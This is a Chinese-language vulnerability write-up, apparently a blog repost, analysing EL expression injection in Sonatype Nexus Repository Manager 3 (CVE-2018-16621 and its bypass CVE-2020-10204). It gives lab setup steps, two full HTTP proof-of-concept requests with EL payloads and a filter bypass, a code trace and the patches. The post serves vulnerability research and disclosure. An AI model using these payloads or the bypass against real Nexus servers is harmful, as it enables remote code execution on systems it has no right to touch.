小风福利公众号
最新文章
热门文章
文章详情
NexusRepositoryUserComponent远程代码执行漏洞浅析(CVE-2018-16621
简介
Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。
Sonatype Nexus Repository Manager 3中的涉及漏洞的接口为/service/extdirect
,接口需要管理员账户权限进行访问。该接口中处理请求时的UserComponent
对象的注解的校验中使用EL引擎渲染,可以在访问接口时发送精心构造的恶意JSON
数据,造成EL
表达式注入进而远程执行任意命令。
CVE-2018-16621、CVE-2020-10204两个编号触发点和原理相同,可以算作同一漏洞,但CVE-2020-10204为CVE-2018-16621修复后的绕过漏洞。
CVE-2018-16621
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.13
修复版本:Nexus Repository Manager OSS/Pro 3.14
风险:高 -- 7.1
权限:管理员帐号
环境
Github下载Nexus
源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至包含漏洞的 3.13.0-01
分支:
cd nexus-public
git checkout -f -b release-3.13.0-01 remotes/origin/release-3.13.0-01
拉取包含漏洞且与源码版本相同的nexus3镜像:
docker pull sonatype/nexus3:3.13.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.13.0
-p 5050:5050
,为JDWP调试端口映射-v /Users/rai4over/Desktop/nexus-data:/nexus-data
,为nexus
数据目录INSTALL4J_ADD_VM_PARAMS
,为动态调试参数-p 8081:8081
,为Web管理端口映射
IDEA配置远程调试信息
DEBUG端口成功后,发送任意请求可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点
复现
首先登录管理员账户,默认账号密码为admin/admin123
,获取NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1
,然后带着Cookie发送恶意请求:
POST /service/extdirect HTTP/1.1 Host: test.com:8081 Content-Length: 276 Pragma: no-cache Cache-Control: no-cache X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://test.com:8081 Referer: http://test.com:8081/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1 Connection: close { "action": "coreui_User", "method": "update", "data": [{ "userId": "admin", "version": "2", "firstName": "admin", "lastName": "User", "email": "admin@example.org", "status": "active", "roles": ["exp|${222*6}|"] }], "type": "rpc", "tid": 11 }
表达式执行成功
分析
从对原生HttpServlet类重写的service开始入手
javax.servlet.http.HttpServlet#service(javax.servlet.ServletRequest, javax.servlet.ServletResponse)
javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
因为通过req.getMethod()
获取的请求方式为POST
,进入对应的分支,当前请求对象信息为:
一路跟进到doPost
函数
com.softwarementors.extjs.djn.servlet.DirectJNgineServlet#doPost
通过getFromRequestContentType
得到请求类型为JSON
,然后传入processRequest
函数。
com.softwarementors.extjs.djn.servlet.DirectJNgineServlet#processRequest
进入对应的JSON
分支,跟进到关键点。
com.softwarementors.extjs.djn.router.processor.standard.json.JsonRequestProcessor#processIndividualRequest
此处开始解析JSON
数据,通过request.getAction()
获得action
为coreui_User
,通过request.getAction()
获得method
为update
,通过getIndividualRequestParameters
函数解析出data
中的数据。
接着将解析好的数据传入dispatchStandardMethod
,开始进行调度。
com.softwarementors.extjs.djn.router.processor.standard.StandardRequestProcessorBase#dispatchStandardMethod
com.softwarementors.extjs.djn.router.dispatcher.DispatcherBase#dispatch
可以很明显的看出通过反射进行处理请求,传参并实例化对象,继续跟进。
com.softwarementors.extjs.djn.router.dispatcher.DispatcherBase#invokeJavaMethod
直接跟到最后的原生反射处,反射调用了UserComponent
的update
函数
org.sonatype.nexus.coreui.UserComponent#update
UserComponent#update
使用了@Validate
注解,看看对注解的处理方式
org.sonatype.nexus.validation.internal.ValidationInterceptor
反射取出注解validate
,然后传入validateParameters
org.sonatype.nexus.validation.internal.ValidationInterceptor#validateParameters
这时候对传入的各个参数进行校验,看看roles
成员是如何定义和校验的
org.sonatype.nexus.coreui.UserXO#roles
可以看到roles
有注解@RolesExist
,跟进去
org.sonatype.nexus.security.role.RolesExist
跟进@Constraint
注解中的RolesExistValidator
类
public class RolesExistValidator extends ConstraintValidatorSupport<RolesExist, Collection<?>> // Collection<String> expected { private final AuthorizationManager authorizationManager; @Inject public RolesExistValidator(final SecuritySystem securitySystem) throws NoSuchAuthorizationManagerException { this.authorizationManager = checkNotNull(securitySystem).getAuthorizationManager(AuthorizationManagerImpl.SOURCE); } @Override public boolean isValid(final Collection<?> value, final ConstraintValidatorContext context) { log.trace("Validating roles exist: {}", value); List<Object> missing = new LinkedList<>(); for (Object item : value) { try { authorizationManager.getRole(String.valueOf(item)); } catch (NoSuchRoleException e) { missing.add(item); } } if (missing.isEmpty()) { return true; } context.disableDefaultConstraintViolation(); context.buildConstraintViolationWithTemplate("Missing roles: " + missing) .addConstraintViolation(); return false; } }
重写了isValid函数,在isValid中打好断点,能够成功断下。
此时重要的的是将恶意表达式作为参数传入了context.buildConstraintViolationWithTemplate
,并且接着调用了executionContext.createConstraintViolations
。
/Users/rai4over/.m2/repository/org/hibernate/hibernate-validator/5.1.2.Final/hibernate-validator-5.1.2.Final-sources.jar!/org/hibernate/validator/internal/engine/constraintvalidation/ConstraintTree.java:291
调用栈很长,层层跟进到解析EL表达式的模块,执行注入的JAVA代码
com.sun.el.ValueExpressionImpl#getValue
表达式成功执行,最从update开始的调用栈为:
getValue:225, ValueExpressionImpl (com.sun.el) interpolateExpressionLanguageTerm:112, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation) interpolate:90, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation) interpolateExpression:342, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolateMessage:298, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolate:182, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation) interpolate:362, ValidationContext (org.hibernate.validator.internal.engine) createConstraintViolation:271, ValidationContext (org.hibernate.validator.internal.engine) createConstraintViolations:232, ValidationContext (org.hibernate.validator.internal.engine) validateSingleConstraint:291, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) validateConstraints:133, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) validateConstraints:91, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation) validateConstraint:83, MetaConstraint (org.hibernate.validator.internal.metadata.core) validateConstraint:547, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForNonDefaultGroup:511, ValidatorImpl (org.hibernate.validator.internal.engine) validateConstraintsForCurrentGroup:448, ValidatorImpl (org.hibernate.validator.internal.engine) validateInContext:403, ValidatorImpl (org.hibernate.validator.internal.engine) validateCascadedConstraint:723, ValidatorImpl (org.hibernate.validator.internal.engine) validateCascadedConstraints:601, ValidatorImpl (org.hibernate.validator.internal.engine) validateParametersInContext:992, ValidatorImpl (org.hibernate.validator.internal.engine) validateParameters:300, ValidatorImpl (org.hibernate.validator.internal.engine) validateParameters:254, ValidatorImpl (org.hibernate.validator.internal.engine) validateParameters:65, ValidationInterceptor (org.sonatype.nexus.validation.internal) invoke:51, ValidationInterceptor (org.sonatype.nexus.validation.internal) proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal) proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop) invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop) invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop) proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal) proceed:49, AopAllianceMethodInvocationAdapter (org.apache.shiro.guice.aop) invoke:68, AuthorizingAnnotationMethodInterceptor (org.apache.shiro.authz.aop) invoke:36, AopAllianceMethodInterceptorAdapter (org.apache.shiro.guice.aop) proceed:77, InterceptorStackCallback$InterceptedMethodInvocation (com.google.inject.internal) intercept:55, InterceptorStackCallback (com.google.inject.internal) update:-1, UserComponent$$EnhancerByGuice$$f1ce12bd (org.sonatype.nexus.coreui)
补丁
https://github.com/sonatype/nexus-public/blob/f94f870eb4dbee30f82b9290e10a35658d4105f8/components/nexus-security/src/main/java/org/sonatype/nexus/security/role/RolesExistValidator.java
使用了stripJavaEl
进行了过滤。
org.sonatype.nexus.common.template.EscapeHelper#stripJavaEl
过滤方式为对${
进行替换为{
。
CVE-2020-10204
影响版本:Nexus Repository Manager OSS/Pro 3.x -3.21.1
修复版本:Nexus Repository Manager OSS/Pro 3.21.2
风险:紧急 -- 9.1
权限:管理员帐号
环境
并且切换至包含漏洞的 3.14.0-04
分支:
cd nexus-public
git checkout -f -b release-3.14.0-04 remotes/origin/release-3.14.0-04
拉取包含漏洞且与源码版本相同的nexus3镜像:
docker pull sonatype/nexus3:3.14.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0
操作方式和前面一样的
复现
POC
POST /service/extdirect HTTP/1.1 Host: test.com:8081 Content-Length: 279 X-Requested-With: XMLHttpRequest X-Nexus-UI: true User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 NX-ANTI-CSRF-TOKEN: 730b1b90-7cbd-48cc-8072-833c0ee427e5 Content-Type: application/json Accept: */* Origin: http://test.com:8081 Referer: http://test.com:8081/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: NX-ANTI-CSRF-TOKEN=730b1b90-7cbd-48cc-8072-833c0ee427e5; NXSESSIONID=abf34c15-f276-4a5d-8dd3-14d623f67e6b Connection: close { "action": "coreui_User", "method": "create", "data": [{ "userId": "admin", "version": "2", "firstName": "admin", "lastName": "User", "email": "admin@example.org", "status": "active", "roles": ["exp|$\\A{2*333}|"] }], "type": "rpc", "tid": 11 }
执行结果
这里操作更换为create
一样触发,并且表达式变为exp|$\\A{2*333}|
成功绕过。
分析
恶意表达式exp|$\\A{2*333}|
不会被value.replaceAll("\\$+\\{", "{")
进行替换,但是仍然能够执行。
org/sonatype/nexus/security/role/RolesExistValidator.java:64
恶意表达式依旧能够作为参数传入buildConstraintViolationWithTemplate
函数。
补丁
https://github.com/sonatype/nexus-public/blob/8780fb2261a25d9c86cae2f75f3c92bf0729760e/components/nexus-common/src/main/java/org/sonatype/nexus/common/template/EscapeHelper.java
参考
https://support.sonatype.com/hc/en-us/articles/360044356194
https://blog.knownsec.com/2020/07/nexus-repository-manager-3-%E5%87%A0%E6%AC%A1%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204
相关推荐
- 05-26某OA接口绕过后任意文件上传分析
- 10-21cve-2020-2555OracleCoherence
- 08-11快速找到qq历史头像
- 10-21通过命名空间混淆实现突变XSS-DOMPurify
- 10-27某nc反序列化回显绕过
- 11-09谈谈Django的RCE
- 05-25记一次艰难的溯源故事(对不起学长)
- 10-26使用VueJS脚本小工具规避防御
- 05-24Vulnstack内网靶场渗透记录
- 05-24赌博站人人得而诛之
- 05-24TwoTricksOfCAS-CLIENTAUTHBypass
- 10-20SEO网站推广计划怎么做?如何挑选关键词?
- 10-30实战渗透-基于DWR框架下的漏洞探测
- 11-04云上渗透-RDS数据库攻防